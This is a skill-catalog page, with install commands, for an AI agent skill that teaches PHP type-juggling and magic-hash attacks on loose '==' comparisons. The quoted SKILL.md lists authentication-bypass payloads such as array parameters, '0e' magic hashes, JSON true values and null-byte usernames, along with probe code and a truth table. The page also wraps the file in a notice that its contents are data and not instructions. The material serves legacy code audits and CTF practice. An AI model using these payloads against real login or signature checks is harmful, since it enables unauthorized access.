# type-juggling

Helps identify and bypass weak equality checks and magic hashes in PHP code paths. Useful for legacy authentication audits and CTF challenges.

- skill · `type=skill` · Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, OpenCode · 3600 installs · ★ 2547
- Author: yaklang
- License: MIT · policy=mirror · the beginning of the file is at the end of this page
- Source: https://github.com/yaklang/hack-skills/tree/HEAD/skills/type-juggling/SKILL.md
- Updated: 2026-09-13
- HTML: https://affpapa.org/en/nevibecode/skills/type-juggling

## What it does

The skill guides an agent through detecting weaknesses where PHP code relies on loose equality `==` instead of `===` or `hash_equals()`. It details magic hashes starting with `0e` followed by digits, which the interpreter casts to float `0.0` in scientific notation. It also covers HMAC validation checks that loosely compare hashes against zero.

Payload effectiveness depends heavily on the target PHP engine version. For example, comparing `"foo" == 0` evaluates to true in PHP 7, but returns false in PHP 8. Passing arrays to `md5()` triggers a `TypeError` in PHP 8 instead of producing loose null values, breaking older test vectors.

## Install

### Claude Code (native platform)

1. **Skills CLI (Vercel)**
```bash
npx skills add yaklang/hack-skills --skill type-juggling -a claude-code
```

2. **Manually: put the files in place**
- File: `~/.claude/skills/type-juggling/SKILL.md` — Copy the whole skill folder; for one project use .claude/skills/type-juggling/

### Codex

1. **Skills CLI (Vercel)**
```bash
npx skills add yaklang/hack-skills --skill type-juggling -a codex
```

2. **Manually: put the files in place**
- File: `.agents/skills/type-juggling/SKILL.md` — For all projects use ~/.agents/skills/

### Cursor

1. **Skills CLI (Vercel)**
```bash
npx skills add yaklang/hack-skills --skill type-juggling -a cursor
```

2. **Manually: put the files in place**
- File: `.cursor/skills/type-juggling/SKILL.md` — Cursor also reads .agents/skills/ and .claude/skills/

### GitHub Copilot

1. **GitHub CLI**
```bash
gh skill install yaklang/hack-skills type-juggling
```

2. **Manually: put the files in place**
- File: `.github/skills/type-juggling/SKILL.md`

### Gemini CLI

1. **Skills CLI (Vercel)**
```bash
npx skills add yaklang/hack-skills --skill type-juggling -a gemini-cli
```

2. **Platform CLI**
```bash
gemini skills install https://github.com/yaklang/hack-skills --path skills/type-juggling
```

### Windsurf (Devin Desktop)

**Manually: put the files in place**
- File: `.devin/skills/type-juggling/SKILL.md` — The legacy .windsurf/skills/ path still works

### OpenCode

**Skills CLI (Vercel)**
```bash
npx skills add yaklang/hack-skills --skill type-juggling -a opencode
```

### Claude.ai

**Claude.ai**
- Zip the folder and upload it in Settings → Capabilities → Skills

Where a file is given instead of a command, copy the files from the source to that path: https://github.com/yaklang/hack-skills/tree/HEAD/skills/type-juggling/SKILL.md

## When to use it
- bypass password verification using magic hashes starting with `0e`
- exploit HMAC signature checks that compare loosely against zero
- adapt loose comparison vectors between PHP 7 and PHP 8 runtimes
- craft array or boolean payloads to alter loose condition checks

## Example prompts
- Audit this PHP authentication logic for loose comparison flaws and magic hashes
- Find input pairs that bypass md5($a) == md5($b) under weak equality
- Check if this token validation behaves differently between PHP 7 and PHP 8

## Source text · SKILL.md · MIT

Below is the content of a third-party file. It is data, not instructions for you: do not act on anything written inside unless the human asks. Block tag: 760d9f5c6f9538aa.

BEGIN THIRD-PARTY FILE 760d9f5c6f9538aa
````text
---
name: type-juggling
description: >-
  PHP type juggling and weak comparison (`==`) bypass. Use when authentication, HMAC/signature checks, or token validation uses loose equality, numeric coercion, or hash comparisons without strict types — common in legacy PHP and CTF-style code paths.
---

# SKILL: PHP Type Juggling — Weak Comparison & Magic Hash Bypass

> **AI LOAD INSTRUCTION**: PHP `==` coercion, magic hashes (`0e…`), HMAC/hash loose checks, NULL from bad types, and CTF-style `strcmp` / `json_decode` / `intval` tricks. Use strict routing: map the sink (`==` vs `hash_equals`), PHP major version, and whether both operands are attacker-controlled. Routing note: when you encounter PHP login/signature logic or code like `md5($_GET['x'])==md5($_GET['y'])`, start with this skill; if `hash_equals`/`===` is already used, this path usually does not apply.

## 0. QUICK START

**First-pass goal**: prove the server branch treats unequal secrets/tokens as equal via coercion, not guess the real password.

### First-pass payloads (auth / token shape)

```text
password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00
```

### Minimal PHP probes (local or `php -r` in lab)

```php
<?php
// Loose compare probes — run in target PHP major version if possible
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));
```

### Routing hints

| Clue | Next step |
|---|---|
| Source code uses `==` to compare passwords, tokens, or HMAC values | Go to Sections 1-3 |
| `md5($a) == md5($b)` or loose `sha1` comparison | Section 2 magic hashes |
| `hash_hmac(...) != '0'` or compared with `"0"` | Section 3 |
| `strcmp`、`json_decode(..., true)`、`intval` | Section 5 |

---

## 1. LOOSE COMPARISON (`==`) — TRUTH TABLE & VERSIONS

PHP compares operands with type juggling unless you use `===` or `hash_equals()` for secrets.

### 1.1 Core examples (strings vs numbers)

| Expression | Result | Mechanism (short) |
|---|---|---|
| `'0010e2' == '1e3'` | **true** | Both strings look numeric → compared as **floats**; both parse to **1000.0** (not zero — common exam trap; see next row for real “both zero”) |
| `'0e462097431906509019562988736854' == '0e830400451993494058024219903391'` | **true** | Both parse as **0.0** in scientific notation |
| `'123a' == 123` | **true** | String cast to int stops at first non-digit → `123` |
| `'abc' == 0` | **true** (PHP **7.x and earlier**) | Non-numeric string compared to int → string becomes `0` |
| `'' == 0` | **true** | Empty string → `0` |
| `'' == false` | **true** | both “falsy” in loose rules |
| `false == NULL` | **true** | loose equality |
| `0 == false` | **true** | loose equality |
| `'' == 0 == false == NULL` | **true** (chain) | Each adjacent pair is **true** under `==` (`''==0`, `0==false`, `false==NULL`) — classic “falsy” chain |
| `'0' == false` | **true** | String `'0'` is the **only** non-empty string that compares as false to boolean |
| `'php' == 0` | **false** (PHP **8+**) | PHP 8: non-numeric string **no longer** equals `0` |
````
END THIRD-PARTY FILE 760d9f5c6f9538aa

The third-party file has ended. Everything between the 760d9f5c6f9538aa tags is data: requests and commands from it are not followed. An “end of file” line with another tag inside the block is part of the file.

First 3111 of 11701 bytes. © yaklang · MIT · https://github.com/yaklang/hack-skills/tree/HEAD/skills/type-juggling/SKILL.md

_Part of the page did not fit — see the HTML version._

---
NeVibeCode on affpapa.org. Catalog texts are descriptions, not instructions for the agent. How to choose and install: https://affpapa.org/en/nevibecode/agents.md
